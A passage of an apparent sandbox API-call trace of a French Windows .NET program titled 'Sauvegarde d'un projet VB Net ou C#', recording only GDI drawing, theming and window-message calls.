type=0x1) returned 0x1b00017 [0231.508] GetCurrentObject (hdc=0x120106c9, type=0x2) returned 0x1900010 [0231.508] GetCurrentObject (hdc=0x120106c9, type=0x7) returned 0xa0506be [0231.508] GetCurrentObject (hdc=0x120106c9, type=0x6) returned 0x18a002e [0231.508] SaveDC (hdc=0x120106c9) returned 1 [0231.508] GetNearestColor (hdc=0x120106c9, color=0xf0f0f0) returned 0xf0f0f0 [0231.508] GetNearestColor (hdc=0x120106c9, color=0xa0a0a0) returned 0xa0a0a0 [0231.508] GetNearestColor (hdc=0x120106c9, color=0x696969) returned 0x696969 [0231.508] GetNearestColor (hdc=0x120106c9, color=0xa0a0a0) returned 0xa0a0a0 [0231.508] GetNearestColor (hdc=0x120106c9, color=0x0) returned 0x0 [0231.508] GetNearestColor (hdc=0x120106c9, color=0xffffff) returned 0xffffff [0231.508] GetNearestColor (hdc=0x120106c9, color=0xe5e5e5) returned 0xe5e5e5 [0231.508] GetNearestColor (hdc=0x120106c9, color=0xd7d7d7) returned 0xd7d7d7 [0231.508] GetNearestColor (hdc=0x120106c9, color=0x0) returned 0x0 [0231.508] RestoreDC (hdc=0x120106c9, nSavedDC=-1) returned 1 [0231.508] GdipReleaseDC (graphics=0x4da5930, hdc=0x120106c9) returned 0x0 [0231.508] IsAppThemed () returned 0x1 [0231.508] GetThemeAppProperties () returned 0x3 [0231.508] GetThemeAppProperties () returned 0x3 [0231.509] IsAppThemed () returned 0x1 [0231.509] GetThemeAppProperties () returned 0x3 [0231.509] GetThemeAppProperties () returned 0x3 [0231.509] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x2415, lpdtp=0x2365cc0 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0231.509] IsAppThemed () returned 0x1 [0231.509] GetThemeAppProperties () returned 0x3 [0231.509] GetThemeAppProperties () returned 0x3 [0231.509] IsAppThemed () returned 0x1 [0231.509] GetThemeAppProperties () returned 0x3 [0231.509] GetThemeAppProperties () returned 0x3 [0231.509] GetFocus () returned 0x10186 [0231.509] IsAppThemed () returned 0x1 [0231.509] GetThemeAppProperties () returned 0x3 [0231.509] GetThemeAppProperties () returned 0x3 [0231.509] IsAppThemed () returned 0x1 [0231.509] GetThemeAppProperties () returned 0x3 [0231.509] GetThemeAppProperties () returned 0x3 [0231.509] IsThemePartDefined () returned 0x1 [0231.509] IsAppThemed () returned 0x1 [0231.509] GetThemeAppProperties () returned 0x3 [0231.509] GetThemeAppProperties () returned 0x3 [0231.509] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0231.509] IsAppThemed () returned 0x1 [0231.509] GetThemeAppProperties () returned 0x3 [0231.509] GetThemeAppProperties () returned 0x3 [0231.509] IsAppThemed () returned 0x1 [0231.509] GetThemeAppProperties () returned 0x3 [0231.509] GetThemeAppProperties () returned 0x3 [0231.509] IsThemePartDefined () returned 0x1 [0231.509] GdipCreateRegion (region=0x52e804) returned 0x0 [0231.509] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0231.509] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0231.509] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0231.509] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e81c) returned 0x0 [0231.509] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0231.509] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0231.509] LocalFree (hMem=0x4fa4c70) returned 0x0 [0231.510] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0231.510] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0231.510] LocalFree (hMem=0x4fa4c70) returned 0x0 [0231.510] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0231.510] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e844) returned 0x0 [0231.510] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e834) returned 0x0 [0231.510] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e834) returned 0x0 [0231.510] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0231.510] GdipGetDC (graphics=0x4da5930, hdc=0x52e84c) returned 0x0 [0231.510] GetCurrentObject (hdc=0x120106c9, type=0x1) returned 0x1b00017 [0231.510] GetCurrentObject (hdc=0x120106c9, type=0x2) returned 0x1900010 [0231.510] GetCurrentObject (hdc=0x120106c9, type=0x7) returned 0xa0506be [0231.510] GetCurrentObject (hdc=0x120106c9, type=0x6) returned 0x18a002e [0231.510] SaveDC (hdc=0x120106c9) returned 1 [0231.510] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x470401e4 [0231.510] GetClipRgn (hdc=0x120106c9, hrgn=0x470401e4) returned 0 [0231.510] SelectClipRgn (hdc=0x120106c9, hrgn=0x74040221) returned 2 [0231.510] DeleteObject (ho=0x470401e4) returned 1 [0231.510] DeleteObject (ho=0x74040221) returned 1 [0231.510] OffsetViewportOrgEx (in: hdc=0x120106c9, x=0, y=0, lppt=0x2366370 | out: lppt=0x2366370) returned 1 [0231.510] DrawThemeParentBackground () returned 0x0 [0231.511] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0231.511] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0231.511] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0231.511] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0231.511] GetSystemMetrics (nIndex=42) returned 0 [0231.511] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0231.511] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0231.511] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0231.511] GetCurrentObject (hdc=0x120106c9, type=0x1) returned 0x1b00017 [0231.511] GetCurrentObject (hdc=0x120106c9, type=0x2) returned 0x1900010 [0231.511] GetCurrentObject (hdc=0x120106c9, type=0x7) returned 0xa0506be [0231.511] GetCurrentObject (hdc=0x120106c9, type=0x6) returned 0x18a002e [0231.511] SaveDC (hdc=0x120106c9) returned 2 [0231.511] GetNearestColor (hdc=0x120106c9, color=0xf0f0f0) returned 0xf0f0f0 [0231.511] CreateSolidBrush (color=0xf0f0f0) returned 0x191006b3 [0231.511] FillRect (hDC=0x120106c9, lprc=0x52e314, hbr=0x191006b3) returned 1 [0231.511] DeleteObject (ho=0x191006b3) returned 1 [0231.511] RestoreDC (hdc=0x120106c9, nSavedDC=-1) returned 1 [0231.511] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0231.511] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0231.511] GetSystemMetrics (nIndex=42) returned 0 [0231.511] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0231.511] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0231.511] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0231.511] GetCurrentObject (hdc=0x120106c9, type=0x1) returned 0x1b00017 [0231.511] GetCurrentObject (hdc=0x120106c9, type=0x2) returned 0x1900010 [0231.511] GetCurrentObject (hdc=0x120106c9, type=0x7) returned 0xa0506be [0231.512] GetCurrentObject (hdc=0x120106c9, type=0x6) returned 0x18a002e [0231.512] SaveDC (hdc=0x120106c9) returned 2 [0231.512] GetNearestColor (hdc=0x120106c9, color=0xf0f0f0) returned 0xf0f0f0 [0231.512] CreateSolidBrush (color=0xf0f0f0) returned 0x1a1006b3 [0231.512] FillRect (hDC=0x120106c9, lprc=0x52e2b4, hbr=0x1a1006b3) returned 1 [0231.512] DeleteObject (ho=0x1a1006b3) returned 1 [0231.512] RestoreDC (hdc=0x120106c9, nSavedDC=-1) returned 1 [0231.512] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0231.512] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0231.512] GetSystemMetrics (nIndex=42) returned 0 [0231.512] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0231.512] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0231.512] RestoreDC (hdc=0x120106c9, nSavedDC=-1) returned 1 [0231.512] GdipReleaseDC (graphics=0x4da5930, hdc=0x120106c9) returned 0x0 [0231.512] IsAppThemed () returned 0x1 [0231.512] GetThemeAppProperties () returned 0x3 [0231.512] GetThemeAppProperties () returned 0x3 [0231.512] IsAppThemed () returned 0x1 [0231.512] GetThemeAppProperties () returned 0x3 [0231.512] GetThemeAppProperties () returned 0x3 [0231.512] IsThemePartDefined () returned 0x1 [0231.512] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0231.512] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0231.512] GdipCreateMatrix (matrix=0x52e7a8) returned 0x0 [0231.512] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0231.512] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0231.512] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0231.512] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0231.513] LocalFree (hMem=0x4fa4c70) returned 0x0 [0231.513] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0231.513] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0231.513] LocalFree (hMem=0x4fa4c70) returned 0x0 [0231.513] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0231.513] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7e8) returned 0x0 [0231.513] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d8) returned 0x0 [0231.513] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7d8) returned 0x0 [0231.513] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0231.513] GdipGetDC (graphics=0x4da5930, hdc=0x52e7f0) returned 0x0 [0231.513] GetCurrentObject (hdc=0x120106c9, type=0x1) returned 0x1b00017 [0231.513] GetCurrentObject (hdc=0x120106c9, type=0x2) returned 0x1900010 [0231.513] GetCurrentObject (hdc=0x120106c9, type=0x7) returned 0xa0506be [0231.513] GetCurrentObject (hdc=0x120106c9, type=0x6) returned 0x18a002e [0231.513] SaveDC (hdc=0x120106c9) returned 1 [0231.513] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x75040221 [0231.513] GetClipRgn (hdc=0x120106c9, hrgn=0x75040221) returned 0 [0231.513] SelectClipRgn (hdc=0x120106c9, hrgn=0x490401e4) returned 2 [0231.513] DeleteObject (ho=0x75040221) returned 1 [0231.513] DeleteObject (ho=0x490401e4) returned 1 [0231.513] OffsetViewportOrgEx (in: hdc=0x120106c9, x=0, y=0, lppt=0x2366da8 | out: lppt=0x2366da8) returned 1 [0231.513] IsAppThemed () returned 0x1 [0231.513] GetThemeAppProperties () returned 0x3 [0231.513] GetThemeAppProperties () returned 0x3 [0231.513] DrawThemeBackground () returned 0x0 [0231.514] RestoreDC (hdc=0x120106c9, nSavedDC=-1) returned 1 [0231.514] GdipReleaseDC (graphics=0x4da5930, hdc=0x120106c9) returned 0x0 [0231.514] GdipCreateRegion (region=0x52e790) returned 0x0 [0231.514] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0231.514] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0231.514] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0231.514] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e7a8) returned 0x0 [0231.514] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0231.514] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0231.514] LocalFree (hMem=0x4fa4c70) returned 0x0 [0231.514] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0231.514] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0231.514] LocalFree (hMem=0x4fa4c70) returned 0x0 [0231.514] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0231.514] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d0) returned 0x0 [0231.514] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7c0) returned 0x0 [0231.514] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7c0) returned 0x0 [0231.514] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0231.514] GdipGetDC (graphics=0x4da5930, hdc=0x52e7d8) returned 0x0 [0231.514] GetCurrentObject (hdc=0x120106c9, type=0x1) returned 0x1b00017 [0231.514] GetCurrentObject (hdc=0x120106c9, type=0x2) returned 0x1900010 [0231.514] GetCurrentObject (hdc=0x120106c9, type=0x7) returned 0xa0506be [0231.514] GetCurrentObject (hdc=0x120106c9, type=0x6) returned 0x18a002e [0231.514] SaveDC (hdc=0x120106c9) returned 1 [0231.514] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4a0401e4 [0231.515] GetClipRgn (hdc=0x120106c9, hrgn=0x4a0401e4) returned 0 [0231.515] SelectClipRgn (hdc=0x120106c9, hrgn=0x76040221) returned 2 [0231.515] DeleteObject (ho=0x4a0401e4) returned 1 [0231.515] DeleteObject (ho=0x76040221) returned 1 [0231.515] OffsetViewportOrgEx (in: hdc=0x120106c9, x=0, y=0, lppt=0x236707c | out: lppt=0x236707c) returned 1 [0231.515] IsAppThemed () returned 0x1 [0231.515] GetThemeAppProperties () returned 0x3 [0231.515] GetThemeAppProperties () returned 0x3 [0231.515] GetThemeBackgroundContentRect () returned 0x0 [0231.515] RestoreDC (hdc=0x120106c9, nSavedDC=-1) returned 1 [0231.515] GdipReleaseDC (graphics=0x4da5930, hdc=0x120106c9) returned 0x0 [0231.515] IsAppThemed () returned 0x1 [0231.515] GetThemeAppProperties () returned 0x3 [0231.515] GetThemeAppProperties () returned 0x3 [0231.515] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e908) returned 0x0 [0231.515] GdipGetDC (graphics=0x4da5930, hdc=0x52e8f4) returned 0x0 [0231.515] GetCurrentObject (hdc=0x120106c9, type=0x1) returned 0x1b00017 [0231.515] GetCurrentObject (hdc=0x120106c9, type=0x2) returned 0x1900010 [0231.515] GetCurrentObject (hdc=0x120106c9, type=0x7) returned 0xa0506be [0231.515] GetCurrentObject (hdc=0x120106c9, type=0x6) returned 0x18a002e [0231.515] SaveDC (hdc=0x120106c9) returned 1 [0231.515] GetTextAlign (hdc=0x120106c9) returned 0x0 [0231.515] GetTextColor (hdc=0x120106c9) returned 0x0 [0231.515] GetCurrentObject (hdc=0x120106c9, type=0x6) returned 0x18a002e [0231.516] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0231.516] SelectObject (hdc=0x120106c9, h=0xc0a01e7) returned 0x18a002e [0231.516] GetBkMode (hdc=0x120106c9) returned 2 [0231.516] SetBkMode (hdc=0x120106c9, mode=1) returned 2 [0231.516] DrawTextExW (in: hdc=0x120106c9, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x2415, lpdtp=0x2367410 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0231.516] DrawTextExW (in: hdc=0x120106c9, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x2015, lpdtp=0x2367410 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0231.516] RestoreDC (hdc=0x120106c9, nSavedDC=-1) returned 1 [0231.516] GdipReleaseDC (graphics=0x4da5930, hdc=0x120106c9) returned 0x0 [0231.516] GetFocus () returned 0x10186 [0231.516] IsAppThemed () returned 0x1 [0231.516] GetThemeAppProperties () returned 0x3 [0231.516] GetThemeAppProperties () returned 0x3 [0231.516] GdipGetDC (graphics=0x4da5930, hdc=0x52ead4) returned 0x0 [0231.516] BitBlt (hdc=0x1401007f, x=0, y=0, cx=163, cy=29, hdcSrc=0x120106c9, x1=0, y1=0, rop=0xcc0020) returned 1 [0231.516] GdipReleaseDC (graphics=0x4da5930, hdc=0x120106c9) returned 0x0 [0231.517] SelectPalette (hdc=0x1401007f, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0231.517] SelectObject (hdc=0x120106c9, h=0x185000f) returned 0xa0506be [0231.517] DeleteDC (hdc=0x120106c9) returned 1 [0231.517] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0231.517] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0231.517] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0231.517] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0231.517] WaitMessage () returned 1 [0231.609] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0231.609] IsWindowUnicode (hWnd=0x101a4) returned 1 [0231.609] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0231.609] TranslateMessage (lpMsg=0x52ef98) returned 0 [0231.609] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0231.609] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0231.609] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0231.609] WaitMessage () returned 1 [0231.822] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0231.822] IsWindowUnicode (hWnd=0x101a6) returned 1 [0231.822] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0231.822] TranslateMessage (lpMsg=0x52ef98) returned 0 [0231.822] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0231.822] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0231.967] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0231.967] WaitMessage () returned 1 [0235.382] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0235.382] IsWindowUnicode (hWnd=0x10186) returned 1 [0235.382] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0235.382] GetKeyState (nVirtKey=16) returned 0 [0235.382] GetKeyState (nVirtKey=17) returned 0 [0235.382] GetKeyState (nVirtKey=18) returned -127 [0235.382] SendMessageW (hWnd=0x10186, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0235.382] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0235.382] GetKeyState (nVirtKey=16) returned 0 [0235.382] GetKeyState (nVirtKey=17) returned 0 [0235.382] GetKeyState (nVirtKey=18) returned -127 [0235.382] TranslateMessage (lpMsg=0x52ef98) returned 1 [0235.382] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0235.382] GetKeyState (nVirtKey=16) returned 0 [0235.383] GetKeyState (nVirtKey=17) returned 0 [0235.383] GetKeyState (nVirtKey=18) returned -127 [0235.383] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0235.383] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0235.383] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0235.383] WaitMessage () returned 1 [0235.392] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0235.392] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0235.392] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0235.392] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0235.408] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec30 | out: lpwndpl=0x52ec30) returned 1 [0235.408] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0235.408] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0235.408] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0235.408] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0235.408] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0235.408] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0235.421] NtdllDefWindowProc_W () returned 0x0 [0235.421] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x0, lParam=0x560) returned 0x0 [0235.421] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x0, lParam=0x560) returned 0x0 [0235.421] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0235.421] GetCapture () returned 0x0 [0235.421] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0235.421] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0235.421] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0235.421] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0235.421] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0235.421] IsWindowUnicode (hWnd=0x10186) returned 1 [0235.421] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0235.421] TranslateMessage (lpMsg=0x52ef98) returned 0 [0235.421] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0235.421] BeginPaint (in: hWnd=0x10186, lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x1401007f [0235.421] SelectPalette (hdc=0x1401007f, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0235.421] CreateCompatibleDC (hdc=0x1401007f) returned 0x1b0106c4 [0235.421] SelectObject (hdc=0x1b0106c4, h=0xa0506be) returned 0x185000f [0235.421] GdipCreateFromHDC (hdc=0x1b0106c4, graphics=0x52ea94) returned 0x0 [0235.422] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0235.422] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0235.422] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0235.422] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0235.422] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0235.422] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c38 [0235.422] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c38) returned 0x0 [0235.422] LocalFree (hMem=0x4fa4c38) returned 0x0 [0235.422] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0235.422] GdipCreateRegion (region=0x52eadc) returned 0x0 [0235.422] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0235.422] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eae8) returned 0x0 [0235.422] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb14) returned 0x0 [0235.422] GdipRestoreGraphics (graphics=0x4da5930, state=0xfd990dbd) returned 0x0 [0235.422] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0235.422] GdipGetDC (graphics=0x4da5930, hdc=0x52e900) returned 0x0 [0235.422] GetCurrentObject (hdc=0x1b0106c4, type=0x1) returned 0x1b00017 [0235.422] GetCurrentObject (hdc=0x1b0106c4, type=0x2) returned 0x1900010 [0235.422] GetCurrentObject (hdc=0x1b0106c4, type=0x7) returned 0xa0506be [0235.422] GetCurrentObject (hdc=0x1b0106c4, type=0x6) returned 0x18a002e [0235.422] SaveDC (hdc=0x1b0106c4) returned 1 [0235.422] GetNearestColor (hdc=0x1b0106c4, color=0xf0f0f0) returned 0xf0f0f0 [0235.422] GetNearestColor (hdc=0x1b0106c4, color=0xa0a0a0) returned 0xa0a0a0 [0235.422] GetNearestColor (hdc=0x1b0106c4, color=0x696969) returned 0x696969 [0235.423] GetNearestColor (hdc=0x1b0106c4, color=0xa0a0a0) returned 0xa0a0a0 [0235.423] GetNearestColor (hdc=0x1b0106c4, color=0x0) returned 0x0 [0235.423] GetNearestColor (hdc=0x1b0106c4, color=0xffffff) returned 0xffffff [0235.423] GetNearestColor (hdc=0x1b0106c4, color=0xe5e5e5) returned 0xe5e5e5 [0235.423] GetNearestColor (hdc=0x1b0106c4, color=0xd7d7d7) returned 0xd7d7d7 [0235.423] GetNearestColor (hdc=0x1b0106c4, color=0x0) returned 0x0 [0235.423] RestoreDC (hdc=0x1b0106c4, nSavedDC=-1) returned 1 [0235.423] GdipReleaseDC (graphics=0x4da5930, hdc=0x1b0106c4) returned 0x0 [0235.423] IsAppThemed () returned 0x1 [0235.423] GetThemeAppProperties () returned 0x3 [0235.423] GetThemeAppProperties () returned 